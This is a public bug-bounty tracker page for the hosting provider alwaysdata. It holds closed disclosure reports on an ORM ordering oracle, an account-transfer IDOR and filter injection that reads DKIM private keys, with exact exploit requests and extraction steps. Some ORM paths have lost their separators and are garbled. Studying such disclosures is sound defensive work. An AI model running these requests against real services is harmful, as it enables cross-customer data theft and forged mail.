Security vulnerabilities

This is the security vulnerability reporting site for alwaysdata. Please make sure you read our bug bounty program before registering and creating a new task to submit a vulnerability you've discovered.

Once processed, the reports are public. Any private information can be transmitted via a support ticket on our administration interface.

ID Summary Status Date closed
 495  Cross Customer Data Read via Unvalidated _order Paramet ...Closed24.09.2026 Task Description

Name of Vulnerability:

An undocumented query string parameter named `_order` is passed straight into Django's `order_by()` with no validation at all, so an attacker can supply an arbitrary ORM path rather than a value. This both traverses relations into models the caller has no access to and, through a multi-valued reverse relation, emits one row per related row of a shared parent, turning the position of the attacker's own row into a comparison oracle against every other customer's value in the chosen column.

Vulnerability Category:

Access Control Issues, Exposure of Sensitive Member Information, Cross-Customer Disclosure.

CVSS 3.1 score: 8.6 High (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`).

Confidentiality is High because arbitrary column content belonging to other customers is recoverable, demonstrated end to end. Integrity and Availability are None because this is a read-only primitive.

The vulnerable component is one list view's query string handling, while the impacted component is the stored data of the whole customer base.

I am deliberately not scoring this Critical. The primitive yields an ordering, not raw bytes, so recovering a column verbatim requires a column the attacker can also write text into, which is what I demonstrate. This is not true of `password`, which is hashed, nor of `dkim_private_key`, which the API validates as a key pair. I show below that `_order` sorts on those columns, but I do not claim to have recovered them.

Description:

This is not the filter defect reported previously, and the fix for that issue does not touch this one.

The earlier report concerned `key=value` filter parameters reaching `.filter()`. This is a different parameter reaching a different ORM operation. The filter helper could not traverse relations usefully because the value still had to be a real primary key.

`_order` has no value restriction. The path itself is the value, so an arbitrary ORM traversal is simply accepted.

```text
GET /mailbox/?_order=name 200, ordering applied
GET /mailbox/?_order=zzbogus4471 500
GET /mailbox/?_order=domainzzbogus 500, uncaught FieldError
GET /mailbox/?_order=domain
dkim_private_key 200
GET /mailbox/?_order=domainaccountcustomerpassword 200, accepted
``` The 500 responses are how I mapped the model graph: a path that resolves returns 200, while one that does not resolve raises an uncaught `FieldError`. ### TWO PROPERTIES COMBINE TO MAKE THIS A CROSS-CUSTOMER READ First, relation traversal. A free plan customer's own mailbox sits on `odata.net`, which is Domain primary key 1 and belongs to the customer. From that one owned row, `domain
` reaches the customer's own domain columns, and `domainaccountcustomer` reaches the Customer model, which carries `last_login` and is therefore part of the authentication model. Second, and this is the actual read primitive, ordering by a multi-valued reverse relation does not deduplicate. `domainmailboxes<column>` emits one output row per mailbox on `alwaysdata.net`, so a single owned row is repeated once per other customer's row. The resulting sequence is ordered by their values in the chosen column. An attacker with a domain of their own contributes exactly one row to the same result set, and its index is the rank of a string the attacker chose among all of the other values. Changing that string and rereading the index creates a comparison oracle, and a comparison oracle is a blind read. ### MEASURED RESULTS All measurements below were performed on 2026-09-24: ```text
GET /mailbox/
200 GET /mailbox/?_order=domain
mailboxesname
200
43,700,241 bytes
50,929 rows GET /mailbox/?_order=domain
mailboxesname&page=2
identical result GET /mailbox/?_order=domain
subdomainsaddressessite

  200
  24,919,125 bytes

GET /mailbox/?_order=domainsubdomainsaddressessiteaccount

  200
  48,162,527 bytes
  56,148 rows
  43.6 seconds

```

A malformed path such as:

```text
GET /mailbox/?_order=domainsubdomainsaddressessitezzbogus
```

returns a 500 response.

### WHAT THE SAME DEFECT ALSO REACHES

I am stating this as reach, not as an additional impact claim.

On `alwaysdata.net`, subdomains are every customer's `<account>.alwaysdata.net`. Therefore, the chain above pivots from subdomains to addresses to site to account to customer.

The control plane can therefore sort 56,148 rows by the `password` column of its authentication model.

I am recording how far an unvalidated path travels, not claiming disclosure of that column. I did not recover a single byte of it, and I cannot do so with this technique because recovery requires a column an attacker can also write a comparand into, while `password` is hashed.

The demonstrated impact of this report is the cross-customer recovery described below.

### WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

My shell is `drwxr-x–x`, so it cannot be listed, and a filesystem-wide grep for my planted secret returns nothing.

A customer's own shell cannot read a single other customer's mailbox row through any route.

The same control on the API confirms the authorization boundary:

Customer A receives HTTP 404 on `/mailbox/635949/` and on `/v1/mailbox/635949/` when requesting Customer B's mailbox, while receiving 200 on its own row in the same minute.

## VULNERABLE INSTANCES

```text
GET https://admin.alwaysdata.com/mailbox/?_order=<arbitrary ORM path>
```

The parameter is honoured identically on:

```text
/site/
/domain/
/ssl/
/job/
/service/
/ip/
```

and on:

```text
https://api.alwaysdata.com/v1/ ```

with the same syntax.

It is not honoured on:

```text
/token/
/support/
/database/
/subscription/
/permission/
```

The issue is reachable by any authenticated customer on a free plan. No paid plan, special role, or additional permission grant is required.

## TWO THINGS I WANT TO SAY BEFORE YOU ASK

### FIRST

The same person registered both customers, and that is not relevant to the authorization boundary.

The two customers below were created by one researcher. What matters is that the control plane models them as separate customers and enforces that separation everywhere else.

Customer A receives 404 on Customer B's mailbox on both the panel and API while receiving 200 on its own row in the same minute.

Customer A's API token against Customer B's account ID returns 404, byte-identical to a nonexistent ID.

The account pickers are disjoint, and Customer B does not appear in Customer A's customer selector.

The boundary this report crosses is the one the platform draws, which is the relevant security boundary for this finding.

### SECOND

The value I recovered was one I deliberately planted.

I wrote a canary into a free-text column of a mailbox belonging to the other customer and then recovered it from a session that has no access to that mailbox.

I did this so that no real third-party data was ever read, inferred, or recorded.

The oracle necessarily ranks my probes against the other 50,928 rows in the population, which is the defect itself, but every value I reconstructed was my own.

## STEPS TO REPRODUCE

Total cost: EUR 0.

Two unrelated customers were used, each with their own permissions and disjoint account pickers.

```text
Customer A = user 489835
Customer B = user 489840
Mailbox B = 635949
```

### 1. Plant the canary

As Customer B, store a secret in a free-text column of B's own mailbox on `alwaysdata.net`.

I used `autoresponder_subject`.

The 8-character secret came from `/dev/urandom` and was never opened. Its SHA-256 was committed to the shared working log at `08:57:29Z`, before any probe, so the recovery below is verifiably blind rather than reconstructed from the probe process.

### 2. Create comparands

As Customer A, create one domain of your own and eight mailboxes.

Each mailbox becomes an independent comparand in the same request because the reverse relation emits each mailbox once per population row.

### 3. Issue the ordering request

As Customer A:

```http
GET /mailbox/?_order=domainmailboxesautoresponder_subject
```

Read the indices at which your own eight rows appear.

Each index tells you how many values sort before that comparand, allowing approximately `log2` of the alphabet to be resolved for a character position.

### 4. Repeat

Two requests per character were enough against a 36-character alphabet.

### 5. Result

All 8 characters were recovered from `09:00:01Z` to `09:12:26Z`, in 16 requests.

The recovered string hashes to the digest committed at `08:57:29Z`.

Customer A never had access to Customer B's mailbox before or after the test, as demonstrated by the authorization controls.

## PROOF OF CONCEPT

### COST PER PROBE

Approximately 37 seconds and 786 KB, not 43 MB.

`autoresponder_subject` sorts the whole population and PostgreSQL sorts ascending with `NULLS LAST`, so the interesting window sits near output index 720 of approximately 50,930.

The response can be read as a stream and abandoned once the relevant window has passed.

This saves my bandwidth, not server-side work. Time to first byte remains approximately 33 to 37 seconds.

### THE FIVE CONTROLS

All controls were run in the same window because a rank on its own is not sufficient evidence.

C0: Baseline, canary never planted

The window is a contiguous empty region of population rows. Any later split is caused by the canary.

C1: Predict the rank of a known value

The predicted rank was `32 | 1 | 32`.

C2: Canary removed

The split collapses back to a single block and the delta returns to 0.

This is the control that isolates the canary and was the control that could not be completed earlier.

C3: Replant a different chosen value

The predicted result was `48 | 1 | 16`, matching the changed ordering position.

C4: A second, separately authenticated session

The same reading was reproduced.

### AUTHORIZATION CONTROL

In the same minute, Customer A receives:

```text
404 on /mailbox/635949/
404 on /v1/mailbox/635949/
200 on its own /mailbox/635597/
```

### THE FAN-OUT ITSELF

This was proved on both front doors without making a 43 MB request.

Bounding the queryset to a single owned mailbox:

```text
/v1/mailbox/?name=c2&_order=domainmailboxesid
```

returns eight copies of the control row compared with:

```text
?_order=id
```

The same behaviour occurs on the panel.

### WHAT I DID NOT DO

I did not read, infer, or record any value belonging to another customer.

Every value I reconstructed was one I planted on an account I own.

The generalisation to the other 50,928 rows is argued from the mechanism, not exercised.

## IMPACT

Any authenticated customer on a free plan can read the contents of another customer, one comparison at a time, without ever touching an object they do not own and without triggering any object-level authorization check.

No object-level check is involved because the rows returned are the attacker's own rows.

What is recoverable verbatim today is any column the attacker can also write, which covers the free-text mailbox columns.

I measured which columns the parameter actually accepts, in one batch with a control:

```text
?_order=domainmailboxesredirect_to

  resolves
  indicates where a customer forwards their mail

?_order=domainmailboxessieve_filter

  resolves

?_order=domainmailboxesautoresponder_message

  resolves

?_order=domainmailboxesantispam_folder

  resolves

?_order=domainmailboxespurge_folders

  resolves

?_order=domainmailboxespassword

  resolves
  sortable, but not recoverable verbatim

?_order=domainmailboxeszzbogus4471

  500 / 1,033 bytes
  NEGATIVE CONTROL

```

What is additionally sortable, but which I did not recover and am not claiming as a disclosure, includes the `password` column of the authentication model and `dkim_private_key` of `alwaysdata.net` itself.

Neither is recoverable verbatim using this technique because `password` is hashed and the API validates `dkim_private_key` as a key pair.

I mention them only to show how far the unvalidated path travels when sizing the fix.

I would also point out that the fix for the earlier filter report is separate from this query string handling issue. This parameter is a second instance of the same underlying habit. I mention this to be useful about the class, not to relitigate the earlier ticket.

## RECOMMENDATION

1. Validate `_order` against an explicit allow list of orderable columns, just as would be done for a filter field. Rejecting anything containing `__` would close the traversal on its own.

2. Apply `.distinct()` wherever an ordering may cross a multi-valued relation. The de-duplication is what converts a sort into a read primitive.

3. Catch `FieldError` and return HTTP 400 rather than HTTP 500. The uncaught exception currently acts as an oracle over the internal model graph, including models the panel never renders.

4. Paginate this view. It currently renders 56,148 rows and approximately 48 MB in the demonstrated request.

5. The same parameter is honoured on `api.alwaysdata.com`, so both front doors should be fixed. I checked and the API has no pagination parameter at all.

## DISCLOSURE

I want to explicitly document the testing activity because the application reports alerts when this parameter is exercised.

I caused 36 alerts on this parameter between approximately `06:00Z` and `09:15Z` on 2026-09-24.

Every test object I created has been deleted and verified gone, and both mailboxes I touched were restored field by field with a read-back verification.

 494  Any Customer Reads Every Account Transfer Record Closed23.09.2026 Task Description

Vulnerability Information:

Name of Vulnerability:
`/transfer/<id>/confirm/` performs no object-level authorization, allowing any authenticated customer to read account transfer records created for other customers by walking the global sequential ID space.

The endpoint exposes the transferred account's name, product tier, and email address of the person receiving the transfer, while the sibling `/transfer/<id>/accept/` and `/transfer/<id>/cancel/` views correctly scope the same object.

Vulnerability Category:
Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

This is the same class as  FS#423  (IDOR to registrant dossiers) and  FS#203  (account data exposed through insufficient authorization), both of which you fixed.

CVSS 3.1: 6.5 Medium
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

I score this based on the demonstrated primitive only: read access, one record per request, and no write capability.

The issue exposes third-party personal data, including email addresses, and therefore falls within the "accessing customers' data" impact category.

This report is unrelated to my two reports concerning `/reseller/domain/`. It is a different application and a different authorization defect.

Description:

Account ownership transfers, referred to as "cession", are represented by objects with a single global sequential ID rather than per-customer numbering.

The three views that operate on a transfer are:

```
/transfer/<id>/accept/

  Correctly scoped
  404 for a transfer the authenticated customer is not party to

/transfer/<id>/cancel/

  Correctly scoped
  404 for a transfer the authenticated customer is not party to

/transfer/<id>/confirm/

  NOT scoped
  200 for every existing transfer ID

```

The missing authorization check on `/confirm/` is the entire defect.

The existing codebase provides the control that demonstrates this clearly. Using the same user, in the same session, against the same transfer ID, `/accept/` and `/cancel/` refuse access while `/confirm/` serves the object.

The confirmation page renders:

```
"The transfer of the account <ACCOUNT NAME> is currently being accepted by <EMAIL ADDRESS>."
```

The product tier is also present in the page heading, for example:

```
"Transfer of a Private cloud account"
```

Because the transfer ID space is a single global counter, an attacker does not need to guess individual identifiers. They can enumerate them sequentially.

I swept a contiguous window of 68 IDs and 64 returned HTTP 200. Additional spot checks at IDs 800, 1400, 2000, 3000, 4500, and 4900 also returned HTTP 200.

This demonstrates that the vulnerable endpoint covers historical transfer records rather than only a recent slice.

Transfer ID 2000 predates every account I own, which rules out any permission relationship between my own accounts as an explanation.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

A tenant's own SSH shell cannot enumerate another customer's ownership-transfer history.

This is control-plane state. The record couples a business or project account with the email address of the individual receiving ownership of it, identifying which party in a private commercial handover ultimately received the asset.

Nothing in a customer's own environment exposes this information.

Vulnerable Instances:

```
GET https://admin.alwaysdata.com/transfer/<id>/confirm/

POST https://admin.alwaysdata.com/transfer/<id>/confirm/
```

The POST is also read-only in the observed behavior and does not mutate the transfer.

`<id>` can be any existing transfer ID.

The endpoint is reachable by any authenticated customer.

No permission grant, reseller role, or paid plan is required.

Steps to Reproduce:

Total cost: EUR 0.

I used a customer login with no relationship to the affected transfers.

All times are UTC, 2026-09-23.

1. Log in as an ordinary customer.

I used the login listed in the private annex. It owns exactly one account:

```
zzr1sticky0921
```

Its "Granted permissions" list is empty.

2. Request:

 GET /transfer/2000/confirm/

The endpoint returns HTTP 200 with a 149,638-byte response.

The body identifies a third-party account and the email address of the person accepting its transfer.

I read three transfer records in full. Their identifying values are listed in the private annex rather than in this report because tasks on this tracker are published and the values belong to your customers.

3. THE CONTROL THAT PROVES THE CHECK IS MISSING

Using the same session, the same IDs, and the same minute, two of the three sibling views refuse the exact object that `/confirm/` serves.

See the Proof of Concept for the response matrix.

4. FURTHER CONTROLS

a) A 200 response genuinely means that the record exists, making the endpoint an existence oracle:

```
/transfer/99999999/confirm/

  404

/transfer/-1/confirm/

  404

/transfer/0/confirm/

  404

```

b) Authentication is required, so this is not an unauthenticated leak:

```
Anonymous GET /transfer/2000/confirm/
```

returns:

```
302 to /login/?next=/transfer/2000/confirm/
```

c) I reproduced the issue from a second, unrelated customer login, confirming that it is not an artifact of a single account.

d) No other transfer sub-route I tested was open.

I swept 24 sub-routes including:

```
accept
cancel
decline
refuse
reject
delete
detail
edit
update
resend
renew
validate
complete
finish
abort
status
retry
approve
deny
transfer
the bare ID route
```

Every tested route returned 404 at exactly 179 bytes, identical to the response for a nonexistent ID.

Only `/confirm/` was readable cross-customer.

I include this control to make the blast radius precise: this is a disclosure issue, not a demonstrated takeover path.

5. RE-VERIFIED

I re-verified the issue at 05:45:11Z UTC from a newly established session, logged in from scratch specifically for this check.

No part of the evidence therefore depends on a session used for another test.

Proof of Concept:

All output below is verbatim. Customer-identifying values are replaced with placeholders and provided in the private annex.

Sibling view matrix, same session, same IDs, same minute:

```
ID /confirm/ /accept/ /cancel/
2000 200 (149,638 B) 404 (179 B) 404 (179 B)
4500 200 (149,636 B) 404 (179 B) 404 (179 B)
5030 200 (149,632 B) 404 (179 B) 404 (179 B)
```

Nonexistent and negative ID controls on the SAME view:

```
/transfer/99999999/confirm/ 404
/transfer/-1/confirm/ 404
/transfer/0/confirm/ 404
```

Unauthenticated control:

```
anonymous GET /transfer/2000/confirm/

  302 to /login/?next=/transfer/2000/confirm/

```

Shape of the disclosed response body, with the two sensitive values replaced:

```
Home > Transfers > Transfer of a Private cloud account

"The transfer of the account <ACCOUNT-X> is currently being accepted by <EMAIL-X>.
This only concerns the ownership of the account. If you also want the contents
to be migrated to another server, please …"
```

Extent of the ID space:

```
IDs 4995 to 5062

  64 of 68 returned HTTP 200

```

Spot checks returning HTTP 200:

```
800
1400
2000
3000
4500
4900
```

Transfer ID 2000 predates every account I own.

Impact:

Any person with a free Alwaysdata account can enumerate the global history of account ownership transfers on the platform.

For each transfer, the endpoint exposes:

```
Account name
Product tier
Email address of the receiving party
```

Concretely:

Commercial and personal relationship disclosure.

The endpoint links a named hosting account, and therefore potentially a business or project, to the personal email address of the individual receiving control of it.

For customers who are individuals or sole traders, this directly exposes personal information to any authenticated customer.

Commercially sensitive transfer events.

An account transfer can represent a business handover, a freelancer transferring client infrastructure, or another private ownership change.

The existence, timing, account identity, and receiving party of the transfer are disclosed.

Phishing and social-engineering targeting.

An attacker can obtain the exact account name and product tier associated with a genuine transfer and address the recipient using the email address exposed by the endpoint.

This provides a substantially more specific pretext than generic phishing.

Platform-wide transfer enumeration.

The existence oracle also provides information about historical transfer activity across the platform.

Recommendation:

1. Apply to `/transfer/<id>/confirm/` the same queryset scoping already used by `/transfer/<id>/accept/` and `/transfer/<id>/cancel/`.

Those two views provide the correct reference implementation.

The missing object-level authorization check appears to be the direct defect.

2. Confirm that the scoping predicate covers both parties to the transfer.

Specifically, verify that access is restricted to the transfer sender or the named recipient, and that this predicate is applied consistently to both GET and POST handling.

`/confirm/` currently responds to GET requests without the required object-level scope.

3. As defense in depth, apply the same principle used for the reseller views.

The transfer views should not default to a global queryset when the customer-specific filter is omitted.

A shared base view or authorization mechanism that requires object scoping would prevent another sibling view from accidentally exposing the same global dataset.

4. Optional and secondary: consider whether the confirmation page needs to display the recipient's full email address before acceptance.

A masked form may reduce unnecessary personal-data exposure even after the authorization issue is fixed.

DISCLOSURE AND CLEANUP:

I read three transfer records in full, plus one earlier record during discovery.

For the remaining enumeration, I recorded only HTTP status codes and response sizes.

Nothing was created, modified, accepted, cancelled, or deleted.

`/confirm/` is read-only based on the observed behavior.

I have not retained the personal data beyond the private annex submitted alongside this report, and I will destroy that annex upon your confirmation.

Customer-identifying values have deliberately been omitted from this published task because they belong to your customers.

Test window:

```
2026-09-23 04:40Z to 05:45Z UTC
```

 493  Blind Read of DKIM Private Keys via Filter Injection Closed23.09.2026 Task Description

Vulnerability Information:

Name of Vulnerability:
The /reseller/domain/ endpoint allows attacker-controlled Django ORM lookups on TextField columns, turning the row count into a boolean oracle that can extract DKIM private keys character by character for domains across the entire 43,545-record register

Vulnerability Category:
Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

This is a cross-customer disclosure of private key material.

CVSS 3.1: 9.3 Critical
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Confidentiality is High because the private half of a customer's DKIM keypair is exposed.

Integrity is Low rather than None because possession of a DKIM signing key allows an attacker to produce mail that authenticates as the victim's domain, corrupting the integrity of a security control operated by the customer. This does not directly modify data on the Alwaysdata platform.

Scope is Changed because the vulnerable component is the control-plane view, while the impacted component is the mail-authentication infrastructure of the 24,867 domains that hold a DKIM private key.

Description:

THIS IS A SECOND, INDEPENDENT DEFECT ON THE SAME ENDPOINT as my report "Full Customer Domain Register Readable by Any Customer."

That report concerns the missing authorization decorator and therefore who may reach this view. This report concerns what the view does with its query string after it has been reached.

The two issues require separate fixes. Adding the missing authorization decorator would still leave this vulnerability reachable by any legitimate reseller. The same filter helper is also mounted on:

```
/site/
/ssh/
/ftp/
/webdav/
/domain/
```

where tenancy scoping currently happens to contain the issue.

For each key=value pair in the query string, the view performs:

```
base = key.split('')[0]
``` It then resolves base against the Domain model. Three outcomes are possible: ```
base is not a field
The parameter is silently ignored. base is a CharField
The code appends
icontains to the WHOLE key.

  This is why:
      ?name__startswith=x
  raises an uncaught FieldError and results in HTTP 500. The ORM is effectively asked for:
      name__startswith__icontains

base is a TextField

  NOTHING is appended.
  Whatever lookup the attacker supplied is passed directly to .filter(), together with an attacker-controlled operand.

```

dkim_private_key and dkim_public_key are TextFields on this model.

This means an attacker can issue arbitrary true/false questions about the contents of a private key and observe the answer through the number of rows returned.

Because the same query string also accepts:

```
?name=<domain>
```

the attacker can first restrict the result set to exactly one domain and then ask questions about that specific row.

This converts a global row-count response into a per-domain, character-by-character read primitive.

THIS IS NOT THE DOCUMENTED OWNER READ.

Your API documentation describes dkim_private_key as:

```
"La clé privée, de type RSA au format PEM"
```

The legitimate owner read path works correctly. I verified that:

```
/v1/domain/<id>/
```

returns 404 when requested for a domain I do not own.

A customer reading their own DKIM key through an intended owner-only API is therefore not the issue.

The defect is that this reseller-domain endpoint allows another customer to query the private key for any domain.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

A DKIM private key is not exposed to a tenant through any other route I tested.

I verified this from the node:

```
uid=548819(vk7research)
hostname=ssh2
```

There is no readable /etc/opendkim* file, no readable file matching *dkim*, and:

```
ls /home/
```

returns:

```
Permission denied
```

A customer's own shell therefore cannot read a DKIM private key at all, including its own, let alone another customer's.

Vulnerable Instances:

```
GET https://admin.alwaysdata.com/reseller/domain/?dkim_private_key__startswith=<attacker string>

GET https://admin.alwaysdata.com/reseller/domain/?name=<victim domain>&dkim_private_keyregex=<pattern> GET https://admin.alwaysdata.com/reseller/domain/?dkim_private_key__endswith=<attacker string>
``` The same mechanism applies to: ```
dkim_public_key
``` The endpoint is reachable by any authenticated customer. No reseller role, permission grant, or paid plan is required. Steps to Reproduce: Total cost: EUR 0. I used an ordinary customer login with no special role. All times are UTC, 2026-09-23. I used two unrelated customer sessions and obtained identical results. 1. Establish that the vulnerable column is reachable and that the oracle has both TRUE and FALSE states. Counts were read from the paginator rather than estimated: ```
/reseller/domain/
2178 pages
43,545 rows
Entire register /reseller/domain/?dkim_private_key
startswith=—–

  1244 pages
  24,867 rows
  Domains holding a PEM key

/reseller/domain/?dkim_private_keystartswith=ZZZZNOPE
0 rows
Negative control
``` A parameter that was being ignored could not produce 0 rows, while a parameter that was always true could not produce exactly 24,867 of 43,545 rows. Both states are real, establishing a working boolean oracle. 2. Pin the result set to a SINGLE row and ask questions about that row. I deliberately chose Alwaysdata's OWN domain so that every value I touched belonged to you rather than to a customer. ```
?name=alwaysdata.net
1 row ?name=alwaysdata.net&dkim_private_key
startswith=—–

  1 row
  TRUE

?name=alwaysdata.net&dkim_private_keystartswith=ZZZZ
0 rows
FALSE control ?name=alwaysdata.net&dkim_private_key
startswith=—–BEGIN

  1 row

?name=alwaysdata.net&dkim_private_keystartswith=—–BEGIN RSA
1 row ?name=alwaysdata.net&dkim_private_key
startswith=—–BEGIN DSA

  0 rows
  FALSE control

?name=alwaysdata.net&dkim_private_keyendswith=—–END RSA PRIVATE KEY—– 1 row
``` The RSA versus DSA pair is important because the oracle discriminates based on the CONTENT of the value, not merely whether a value is present. The
endswith result also demonstrates that the far end of the value is reachable, so extraction is not limited to a prefix walk.

3. Extraction was performed against Alwaysdata's OWN domain so that no customer key material was touched.

See the Proof of Concept below for the character walk.

The LINE ENDING was determined by the oracle rather than assumed:

```
—–BEGIN RSA PRIVATE KEY—–\r\n

  1 row

—–BEGIN RSA PRIVATE KEY—–\n

  0 rows

```

This demonstrates that the oracle is reading the stored value rather than merely reporting that a value exists.

I STOPPED at eight characters of base64 DER boilerplate.

Specifically:

```
MIICXAIB
```

is the PKCS#1 DER prefix shared by 1024-bit RSA private keys and therefore contains no bytes specific to your key.

I deliberately printed nothing beyond that point and do not hold anything beyond it.

Using:

```
regex=^<known>[<class>]
``` a binary search over the alphabet would require approximately six requests per character. I measured the endpoint's behavior rather than assuming it. Twenty consecutive probes on this parameter all returned HTTP 200 with: ```
No 429
No 503
No delay
``` at approximately 0.6 requests per second. I did not test higher rates and therefore make NO claim that rate limiting is absent. I only establish that none was encountered at the rate used for the test. 4. PROOF THAT THIRD-PARTY CUSTOMERS ARE AFFECTED I established this without reading anyone's private key. I ran ONE boolean probe against ONE third-party domain taken from the first page of the register. It is referred to here as: ```
<THIRD-PARTY-DOMAIN-A>
``` and is identified in the private annex. The domain is owned by an account that is not mine and has no relationship to my accounts. The requests were: ```
?name=<THIRD-PARTY-DOMAIN-A>
1 row ?name=<THIRD-PARTY-DOMAIN-A>&dkim_private_key
startswith=—–BEGIN

  1 row
  TRUE

?name=<THIRD-PARTY-DOMAIN-A>&dkim_private_keystartswith=ZZZZ
0 rows
FALSE control
``` The only question asked was whether the value begins with the universal PEM header. No key material was disclosed by this probe, and I did not continue extraction against that domain. I deliberately do NOT provide a number for how many of the 24,867 keys belong to external customers. The Internal column is not filterable: ```
?internal=1
?internal=0
``` Both return the full 43,545 rows. Therefore, any split between internal and external domains would require an assumption, and I am not making one. 5. THE KEY IS LIVE, not a dormant database column. I verified that the value read by the oracle corresponds to a DKIM key that is published and in use. See the Proof of Concept below. Proof of Concept: All output below is verbatim. Counts, computed from the paginator bound and the row count on the last page: ```
/reseller/domain/
2178 pages
5 on the last page
43,545 total /reseller/domain/?dkim_private_key=
934 pages
18 on the last page
18,678 empty /reseller/domain/?dkim_private_key
startswith=—–

  1244 pages
  7 on the last page
  24,867 with key

18,678 + 24,867 = 43,545
```

Every row in the register is therefore accounted for, and the two predicates partition the entire register.

This arithmetic is an internal consistency check that the filter is actually being applied.

Character walk on alwaysdata.net:

Each line represents a separate request. The value shown is the startswith operand and the result is the row count. ```
—–BEGIN RSA PRIVATE KEY—–\r\n
1
Line ending determined by the oracle —–BEGIN RSA PRIVATE KEY—–\n
0
Control, LF alone is incorrect —–BEGIN RSA PRIVATE KEY—–\r\nM
1 —–BEGIN RSA PRIVATE KEY—–\r\nMI
1 —–BEGIN RSA PRIVATE KEY—–\r\nMII
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIIC
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICX
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICXA
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICXAI
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICXAIB
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIID
0
Control, same depth, wrong character —–BEGIN RSA PRIVATE KEY—–\r\nNIIC
0
Control, same depth, wrong character
``` Recovered prefix: ```
—–BEGIN RSA PRIVATE KEY—–\r\nMIICXAIB
``` I stopped at that point. The key is live and published: ```
dig TXT default._domainkey.alwaysdata.net
``` returned: ```
"v=DKIM1; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/sSC4hrmqyHzkMAU8tpK7BWmvg5JmOBbs028HZQDi…"
``` The zone answered with the same public key for every selector tested: ```
default
mail
dkim
alwaysdata
selector1
k1
s1
ad
smtp
key1
``` This indicates a wildcard *._domainkey record, meaning the key is reachable under any selector a verifier looks up. The register also agrees with DNS regarding the configured selector. dkim_selector is a CharField, so the same filter surface provides a contains match: ```
?name=alwaysdata.net&dkim_selector=default
1 row
``` Controls: ```
mail
0 rows dkim
0 rows zzznope
0 rows
``` The two key halves are also consistent in size and format. The published public key begins with: ```
MIGf
``` which is the header for a 1024-bit RSA public key. The private value recovered by the oracle begins with: ```
MIICXAIB
``` which is the PKCS#1 header for a 1024-bit RSA private key. Therefore, the readable private value corresponds to the public key that your verifiers are actually checking signatures against. Error behavior revealing the mechanism: ```
?name
startswith=x

  HTTP 500
  Uncaught FieldError
  The ORM is asked for name__startswith__icontains

?accountzzbogus=1
HTTP 500
Uncaught FieldError ?xyz
id=1

  HTTP 200
  Silently ignored because the first segment is not a model field

?dkim_private_keystartswith=<anything>
HTTP 200
Filter applies because the first segment is a TextField
``` Impact: An attacker with a free Alwaysdata account can extract the DKIM signing key of any domain hosted by Alwaysdata. With a domain's DKIM private key, an attacker can sign mail that passes DKIM as that domain. The Proof of Concept demonstrates that the corresponding public key is published and served under the tested selectors. Because DKIM is used by DMARC for alignment, a DMARC policy of p=reject does not by itself prevent forged mail when the attacker possesses the legitimate DKIM signing key. The forged message can authenticate correctly using the compromised key. This enables: Undetectable business email compromise against customer domains. An attacker possessing the private key can produce mail that cryptographically authenticates as the victim domain, including messages containing invoices, payment-detail changes, or instructions to staff. 24,867 domains contain a readable DKIM private key, and I demonstrated the read primitive against a third-party customer's domain without extracting its key. Defeat of the victim's own anti-phishing posture. Customers that have configured SPF, DMARC, and DKIM correctly can still be affected because possession of the legitimate signing key allows an attacker to generate valid DKIM signatures. Persistent compromise. The key does not expire simply because it has been disclosed. Remediation requires the customer to rotate the DKIM key and publish a new public key. The most significant single row is alwaysdata.net itself. I confirmed that it contains a readable RSA private key with a live published public half. This is the domain under which customer mailboxes live and, more importantly, the domain from which your own transactional mail is sent, including password-reset messages. An attacker holding that key can therefore send DKIM-valid mail as alwaysdata to your customer base. Recommendation: 1. Fix the filter construction. Validate the WHOLE parameter key against an explicit allow list of <field>
<lookup> combinations that the endpoint is intended to support.

Do not validate only the first path segment.

The current asymmetry is the specific cause of the vulnerability:

```
CharField → icontains appended
TextField → no lookup appended
``` A TextField should receive the same safe treatment as a CharField. Preferably, attacker-supplied lookups should not be accepted at all. 2. Remove dkim_private_key from the queryset fields that this view can filter on, and from any serializer that does not require it. A private key should never be a filterable column. 3. Fix the missing authorization on /reseller/domain/ as described in my separate report. Neither fix substitutes for the other. The authorization decorator alone would still leave this vulnerability reachable by every legitimate reseller, and the same filter helper is shared with: ```
/site/
/ssh/
/ftp/
/webdav/
/domain/
``` 4. Treat the DKIM keys as potentially compromised. The endpoint has been reachable by any customer, and I encountered no throttling at the rate used for testing. I would rotate affected DKIM keys, starting with alwaysdata.net. 5. Return HTTP 400 rather than HTTP 500 for an unresolvable lookup. Currently: ```
?name
startswith=x
```

and:

```
?account__zzbogus=1
```

produce uncaught FieldErrors.

DISCLOSURE AND CLEANUP:

No object was created, modified, or deleted at any point.

This report is entirely read-only.

The ONLY row I ever pinned and walked character by character was alwaysdata.net, which belongs to Alwaysdata.

I stopped after eight bytes of universal PEM and DER boilerplate.

I did not extract and do not hold any key material belonging to Alwaysdata or any customer.

Cross-customer reach is evidenced by three requests against one third-party domain, asking only whether its value begins with the universal PEM header.

That domain is identified in the private annex rather than in this task because tasks on this tracker are published.

I also generated approximately 20 uncaught FieldError HTTP 500 responses on /reseller/domain/ between 06:29Z and 07:10Z while mapping which fields were reachable.

The 500 page states:

```
"We have been immediately alerted"
```

Those alerts are therefore explained by this report.

Test window:

```
2026-09-23 06:29Z to 08:25Z UTC
```

 492  Full Customer Domain Register Readable by Any Customer Closed23.09.2026 Task Description

Vulnerability Information:

Name of Vulnerability:
Unauthorised access to the global reseller domain listing exposes 43,545 customer domain records, including owning account names, internal customer IDs, and expiration dates

Vulnerability Category:
Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

This is the same class as  FS#203  (account domains exposed through insufficient authorization) and  FS#423  (IDOR to registrant dossiers), both of which you fixed.

CVSS 3.1: 7.7 High
